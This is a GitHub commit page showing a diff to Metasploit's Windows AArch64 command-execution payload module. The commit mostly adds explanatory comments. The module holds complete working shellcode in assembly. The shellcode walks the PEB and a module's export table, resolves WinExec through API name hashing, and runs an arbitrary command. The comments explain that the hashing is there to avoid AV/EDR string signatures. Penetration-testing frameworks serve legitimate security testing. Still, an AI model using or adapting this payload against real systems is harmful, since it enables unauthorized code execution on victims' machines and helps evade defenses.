Skip to content

Commit 3069d6a

Browse files
committed
Readability
1 parent 7b76a83 commit 3069d6a

File tree

1 file changed

+134
-88
lines changed
  • modules/payloads/singles/windows/aarch64

1 file changed

+134
-88
lines changed

modules/payloads/singles/windows/aarch64/exec.rb

Lines changed: 134 additions & 88 deletions
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,17 @@ def initialize(info = {})
1414
super(
1515
merge_info(
1616
info,
17-
'Name' => 'Windows AArch64 Execute Command',
18-
'Description' => 'Execute an arbitrary command on AArch64 Windows. Based on original research from Alan Foster.',
17+
'Name' => 'Windows AArch64 Command Execution',
18+
'Description' => %q{
19+
Executes an arbitrary command on a Windows on ARM (AArch64) target.
20+
This payload is a foundational example of position-independent shellcode for the AArch64 architecture.
21+
It dynamically resolves the address of the `WinExec` function from `kernel32.dll` by parsing the
22+
Process Environment Block (PEB) and the module's Export Address Table (EAT) at runtime.
23+
This technique avoids static imports and hardcoded function addresses, increasing resilience.
24+
},
1925
'Author' => [
2026
'alanfoster', # Original implementation and research
21-
'Alexander "xaitax" Hagenah'
27+
'Alexander "xaitax" Hagenah' # Refactoring, Improvements and Optimization
2228
],
2329
'License' => MSF_LICENSE,
2430
'Platform' => 'win',
@@ -42,184 +48,224 @@ def generate(_opts = {})
4248
# It is based on the alanfosters original implementation.
4349
cmd_str = datastore['CMD'] || 'calc.exe'
4450
asm = <<~EOF
45-
// Notes:
46-
// https://devblogs.microsoft.com/oldnewthing/20220822-00/?p=107032
47-
// https://devblogs.microsoft.com/oldnewthing/20220823-00/?p=107041
48-
// https://devblogs.microsoft.com/oldnewthing/20220824-00/?p=107043
51+
// AArch64 Windows PIC Shellcode
52+
// -----------------------------
53+
// Key Registers:
54+
// x0-x7: Arguments to functions and return values.
55+
// x18: Pointer to the Thread Environment Block (TEB) in user mode.
56+
// x29: Frame Pointer (FP).
57+
// x30: Link Register (LR), holds the return address for function calls.
4958
5059
main:
5160
// --- Function Prologue ---
52-
// Allocate 0xb0 (176) bytes on the stack, then store the old
53-
// frame pointer (x29) and link register (x30) at the new stack top.
61+
// Establishes a stack frame according to the AArch64 ABI.
62+
// Allocate 0xb0 (176) bytes on the stack for local variables, saved registers, and scratch space.
63+
// Then store the caller's frame pointer (x29) and link register (x30) at the new stack top.
5464
stp x29, x30, [sp, #-0xb0]!
55-
// Set the new frame pointer to the current stack pointer.
65+
// Set our new frame pointer to the current stack pointer.
5666
mov x29, sp
57-
// Save non-volatile registers we will be using to a known offset from our new frame.
67+
// Save non-volatile registers (x19-x21) that we will modify.
5868
stp x19, x20, [x29, #0x10]
5969
str x21, [x29, #0x20]
6070
6171
// --- API Hash Setup ---
62-
// Load the pre-calculated custom hash for kernel32.dll!WinExec into w8.
72+
// Load the pre-calculated hash for kernel32.dll!WinExec into register w8.
73+
// Hashing avoids using literal strings ("WinExec") in the payload, which are
74+
// common signatures for AV/EDR.
6375
movz w8, #0x8b31
6476
movk w8, #0x876f, lsl #16
6577
6678
api_call:
6779
// --- PEB Traversal ---
68-
// Begin walking the Process Environment Block's module list to find loaded DLLs.
80+
// This section finds the base address of loaded modules (DLLs) in a
81+
// position-independent way by walking structures internal to the process.
6982
// x18 on Windows AArch64 always points to the Thread Environment Block (TEB).
7083
ldr x10, [x18, #0x60] // x10 = TEB->ProcessEnvironmentBlock (PEB)
7184
ldr x10, [x10, #0x18] // x10 = PEB->Ldr
72-
ldr x10, [x10, #0x20] // x10 = PEB->Ldr.InMemoryOrderModuleList.Flink (first module)
85+
ldr x10, [x10, #0x20] // x10 = PEB->Ldr.InMemoryOrderModuleList.Flink (points to first module entry)
7386
7487
next_mod:
7588
// --- Module Name Hashing ---
76-
// The LDR_DATA_TABLE_ENTRY UNICODE_STRING for the name is at +0x48.
77-
ldr x11, [x10, #0x50] // x11 = FullDllName.Buffer pointer
78-
ldr x12, [x10, #0x4a] // x12 = FullDllName.Length (USHORT)
89+
// For each module, calculate a hash of its name to find kernel32.dll.
90+
ldr x11, [x10, #0x50] // x11 = LDR_DATA_TABLE_ENTRY->FullDllName.Buffer pointer
91+
ldr x12, [x10, #0x4a] // x12 = LDR_DATA_TABLE_ENTRY->FullDllName.Length (USHORT)
7992
and x12, x12, #0xffff // Ensure we only have the 16-bit length
80-
movz w13, #0 // w13 = module hash accumulator
93+
movz w13, #0 // w13 = module hash accumulator, zero it out.
8194
loop_modname:
82-
// This hashing loop reads one byte at a time from a UTF-16 string.
83-
ldrb w14, [x11], #0x1 // Read a byte and post-increment pointer
84-
cmp w14, #97 // Compare with ASCII 'a' for case conversion
95+
// This hashing loop reads one byte at a time from the UTF-16 DLL name.
96+
// It only uses the ASCII part for hashing and handles case-insensitivity.
97+
ldrb w14, [x11], #1 // Read a byte and post-increment the pointer
98+
cmp w14, #97 // Compare with ASCII 'a'
8599
b.lt not_lowercase
86-
sub w14, w14, #0x20 // Convert to uppercase
100+
sub w14, w14, #0x20 // If lowercase, convert to uppercase
87101
not_lowercase:
88-
ror w13, w13, #13 // Rotate hash accumulator
89-
add w13, w13, w14 // Add character to hash
90-
sub w12, w12, #1 // Decrement length
102+
ror w13, w13, #13 // Rotate the hash accumulator right by 13 bits
103+
add w13, w13, w14 // Add the character's byte value to the hash
104+
sub w12, w12, #1 // Decrement length counter
91105
cmp w12, wzr
92106
b.gt loop_modname
93-
// These extra rotates are preserved from the original implementation.
107+
// These extra rotates are preserved from the original implementation to match the target hash.
94108
ror w13, w13, #13
95109
ror w13, w13, #13
96110
97-
// Save current state to our stack frame before parsing the export table.
98-
str x10, [x29, #0x30] // Save current module's LDR_DATA_TABLE_ENTRY pointer
99-
str x13, [x29, #0x38] // Save computed module hash
111+
// Save the current module's context (its LDR_DATA_TABLE_ENTRY pointer and its computed hash)
112+
// to our stack frame before we start parsing its export table.
113+
str x10, [x29, #0x30]
114+
str w13, [x29, #0x38]
100115
101116
// --- PE Export Table Traversal ---
102-
ldr x10, [x10, #0x20] // x10 = DllBase (module base address)
103-
ldr w11, [x10, #0x3c] // Get e_lfanew from DOS header
104-
add x11, x10, x11 // x11 = Address of PE (NT) Header
105-
106-
// --- Implement PE64 Magic Number Check ---
107-
// This check ensures we only attempt to parse 64-bit PE modules,
108-
// avoiding crashes if a 32-bit (WoW64) module is encountered.
109-
// The PE32+ Magic (0x020B) is found at Optional Header +0x18.
110-
ldrh w14, [x11, #0x18] // Load the Magic number from Optional Header
111-
cmp w14, #0x020b // Compare with PE32+ magic value
112-
b.ne get_next_mod_loop // If not 0x020B, skip this module (it's 32-bit or invalid)
113-
114-
ldr w11, [x11, 0x88] // Get Export Table RVA from Optional Header
115-
cmp x11, #0x0 // Check if an Export Table exists
116-
b.eq get_next_mod_loop
117-
add x11, x11, x10 // x11 = Export Table Virtual Address
117+
ldr x10, [x10, #0x20] // x10 = DllBase (the module's base memory address)
118+
ldr w11, [x10, #0x3c] // Get e_lfanew offset from the DOS header
119+
add x11, x10, x11 // x11 = Address of the main PE (NT) Header
120+
121+
// --- PE64 Magic Number Check ---
122+
// This check is a critical robustness feature. It ensures we only attempt to parse
123+
// 64-bit PE modules, avoiding crashes if a 32-bit (WoW64) module is encountered.
124+
// The PE32+ Magic (0x020B) is at Optional Header +0x18.
125+
ldrh w14, [x11, #0x18] // Load the Magic number from the Optional Header
126+
cmp w14, #0x020b // Compare with the PE32+ magic value for 64-bit
127+
b.ne get_next_mod_loop // If it's not a 64-bit module, skip it.
128+
129+
ldr w11, [x11, #0x88] // Get Export Address Table (EAT) RVA from Optional Header
130+
cmp x11, #0
131+
b.eq get_next_mod_loop // If there's no EAT, skip this module.
132+
add x11, x11, x10 // x11 = EAT Virtual Address
118133
str x11, [x29, #0x40] // Save EAT address to the stack
119-
ldr w12, [x11, #0x18] // w12 = NumberOfNames
120-
ldr w13, [x11, #0x20] // w13 = AddressOfNames RVA
121-
add x13, x10, x13 // w13 = AddressOfNames VA
134+
ldr w12, [x11, #0x18] // w12 = EAT.NumberOfNames
135+
ldr w13, [x11, #0x20] // w13 = EAT.AddressOfNames RVA
136+
add x13, x10, x13 // w13 = EAT.AddressOfNames Virtual Address
122137
123138
get_next_func:
139+
// --- Function Name Hashing ---
140+
// Loop through all function names in the EAT.
124141
cmp w12, #0
125-
b.eq get_next_mod_loop // If all functions checked, move to the next module
126-
sub w12, w12, #1 // Search backwards through the export names
127-
mov x14, #0x4
128-
madd x15, x12, x14, x13 // Get address of name RVA from AddressOfNames array
129-
ldr w15, [x15] // w15 = RVA of function name string
130-
add x15, x10, x15 // x15 = VA of function name string
131-
movz x5, #0 // w5 = function hash accumulator
142+
b.eq get_next_mod_loop // If all function names checked, move to the next module.
143+
sub w12, w12, #1 // Decrement function counter (we search backwards)
144+
mov x14, #4
145+
madd x15, x12, x14, x13 // Calculate address of the current function name's RVA in the name array
146+
ldr w15, [x15] // Get the RVA of the function name string
147+
add x15, x10, x15 // x15 = VA of the function name string
148+
movz x5, #0 // w5 = function hash accumulator, zero it out.
132149
loop_funcname:
133-
ldrb w11, [x15], #0x1 // Load one byte of the ASCII function name
134-
ror w5, w5, #13 // Rotate hash
135-
add w5, w5, w11 // Add character to hash
150+
ldrb w11, [x15], #1 // Load one byte of the ASCII function name
151+
ror w5, w5, #13
152+
add w5, w5, w11
136153
cmp x11, #0
137-
b.ne loop_funcname // Loop until null terminator
138-
ldr w6, [x29, #0x38] // Retrieve module hash from stack
139-
add w6, w6, w5 // Add function hash
140-
cmp w6, w8 // Compare against target hash
141-
b.ne get_next_func
154+
b.ne loop_funcname // Loop until the null terminator is hit.
155+
funcname_hashed:
156+
ldr w6, [x29, #0x38] // Retrieve the saved module hash from our stack frame
157+
add w6, w6, w5 // Combined hash = module_hash + function_hash
158+
cmp w6, w8 // Does this match our target hash (kernel32.dll!WinExec)?
159+
b.ne get_next_func // If not, hash the next function name.
142160
143161
// --- Function Address Resolution ---
162+
// We found the correct function name. Now, we find its actual address.
144163
found_func:
145164
ldr x11, [x29, #0x40] // Restore EAT address from stack
146-
ldr w13, [x11, #0x24] // Get AddressOfNameOrdinals RVA
147-
add x13, x10, x13
148-
mov x14, #0x2
149-
madd x15, x12, x14, x13 // Get address of the function's ordinal
150-
ldrh w15, [x15] // Get the 16-bit ordinal
151-
ldr w13, [x11, #0x1c] // Get AddressOfFunctions RVA
152-
add x13, x10, x13
153-
mov x14, #0x4
154-
madd x15, x15, x14, x13 // Get address of the function's RVA using the ordinal
155-
ldr w15, [x15]
156-
add x15, x15, x10 // x15 = Final VA of WinExec
165+
ldr w13, [x11, #0x24] // Get EAT.AddressOfNameOrdinals RVA
166+
add x13, x10, x13 // VA of the ordinal table
167+
mov x14, #2
168+
madd x15, x12, x14, x13 // Get address of our function's ordinal
169+
ldrh w15, [x15] // Get the 16-bit ordinal value
170+
ldr w13, [x11, #0x1c] // Get EAT.AddressOfFunctions RVA
171+
add x13, x10, x13 // VA of the function address table
172+
mov x14, #4
173+
madd x15, x15, x14, x13 // Get address of the function's RVA from the address table using the ordinal
174+
ldr w15, [x15] // Get the function's RVA
175+
add x15, x15, x10 // x15 = Final Virtual Address of WinExec
157176
158177
finish:
159178
// --- Call WinExec ---
160-
// Set up x9 to point to a scratch buffer on our stack for the command string.
179+
// Set up x9 to point to a scratch buffer on our stack.
161180
add x9, x29, #0x50
162-
// create_aarch64_string_in_stack places the pointer to the CMD in x0.
181+
// create_aarch64_string_in_stack will write the command string to the
182+
// address in x9 and place the final pointer to the string in x0.
163183
#{create_aarch64_string_in_stack(cmd_str)}
164-
mov w1, #1 // Arg2: uCmdShow = SW_SHOWNORMAL (1)
165-
mov x8, x15 // Move target function address for the call
166-
blr x8 // Branch with Link to Register (call WinExec)
184+
mov w1, #1 // Arg2 (uCmdShow) = SW_SHOWNORMAL (1) - Makes the new window visible.
185+
mov x8, x15 // Move target function address into a volatile register for the call.
186+
blr x8 // Branch with Link to Register (call WinExec).
167187
168188
// --- Function Epilogue ---
189+
// Cleanly tears down the stack frame and returns execution to the caller.
169190
epilogue:
170-
// Restore saved registers.
191+
// Restore saved non-volatile registers from the stack frame.
171192
ldp x19, x20, [x29, #0x10]
172193
ldr x21, [x29, #0x20]
173-
// Restore the original stack pointer from our frame pointer.
194+
// Restore the original stack pointer.
174195
mov sp, x29
175-
// Restore the original frame pointer and link register, deallocating the stack.
196+
// Restore the caller's frame pointer and link register, deallocating our stack frame in one instruction.
176197
ldp x29, x30, [sp], #0xb0
177-
ret // Return to the caller.
198+
ret // Return to the address stored in the Link Register.
178199
179-
// --- Refined Loop Control ---
200+
// --- Loop Control for Module Iteration ---
180201
get_next_mod_loop:
181202
// Restore the LDR_DATA_TABLE_ENTRY pointer from the stack.
182203
ldr x10, [x29, #0x30]
183-
// Follow the Flink pointer to the next entry in the circular list.
204+
// The InMemoryOrderModuleList is a circular doubly-linked list.
205+
// Following the Flink pointer gets the next module in the list.
184206
ldr x10, [x10]
185-
// Jump back to the start of the module processing loop.
207+
// Jump back to begin processing this next module.
186208
b next_mod
187209
EOF
188210

189211
compile_aarch64(asm)
190212
end
191213

214+
# Generates AArch64 assembly to write a given string to the stack and return a pointer to it.
215+
# This is a classic shellcode technique to create strings in memory at runtime.
216+
# @param string [String] The string to be placed on the stack.
217+
# @return [String] A block of AArch64 assembly code.
192218
def create_aarch64_string_in_stack(string)
193219
str = string + "\x00"
194-
target = :x0
195-
stack = :x9
220+
target = :x0 # The pointer to the string will be returned in x0 (first argument register).
221+
stack = :x9 # x9 is used as a temporary pointer to write the string to the stack.
222+
223+
# Build the string 8 bytes at a time.
196224
push_string = str.bytes.each_slice(8).flat_map do |chunk|
225+
# Load the 8-byte chunk into the target register using a sequence of movz/movk.
197226
mov_instructions = chunk.each_slice(2).with_index.map do |word, idx|
227+
# NOTE: Chunks are reversed to build the little-endian value correctly in the register.
198228
hex = word.reverse.map { |b| format('%02x', b) }.join
199229
"mov#{idx == 0 ? 'z' : 'k'} #{target}, #0x#{hex}#{idx == 0 ? '' : ", lsl ##{idx * 16}"}"
200230
end
231+
# Store the 8-byte value from the register onto the stack and advance the stack pointer.
201232
[*mov_instructions, "str #{target}, [#{stack}], #8"]
202233
end
234+
235+
# After writing, `stack` points just past the end of the string.
236+
# We subtract the aligned size to get the pointer to the beginning of the string.
203237
set_target_register = [
204238
"mov #{target}, #{stack}",
205239
"sub #{target}, #{target}, ##{align(str.bytesize)}"
206240
]
207241
(push_string + set_target_register).join("\n")
208242
end
209243

244+
# Aligns a given value to a specified boundary (defaults to 8 bytes).
245+
# @param value [Integer] The value to align.
246+
# @param alignment [Integer] The alignment boundary.
247+
# @return [Integer] The aligned value.
210248
def align(value, alignment: 8)
211249
return value if (value % alignment).zero?
212250

213251
value + (alignment - (value % alignment))
214252
end
215253

254+
# Compiles a string of AArch64 assembly into raw binary shellcode.
255+
# @param asm_string [String] The assembly code.
256+
# @return [String] The compiled binary shellcode.
216257
def compile_aarch64(asm_string)
258+
# This requires the 'aarch64' gem.
217259
require 'aarch64/parser'
218260
parser = ::AArch64::Parser.new
219261
asm = parser.parse(without_inline_comments(asm_string))
220262
asm.to_binary
221263
end
222264

265+
# Removes all inline comments from an assembly string, as the aarch64
266+
# gem parser does not support them.
267+
# @param string [String] The assembly code with comments.
268+
# @return [String] The assembly code without comments.
223269
def without_inline_comments(string)
224270
string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n")
225271
end

0 commit comments

Comments
 (0)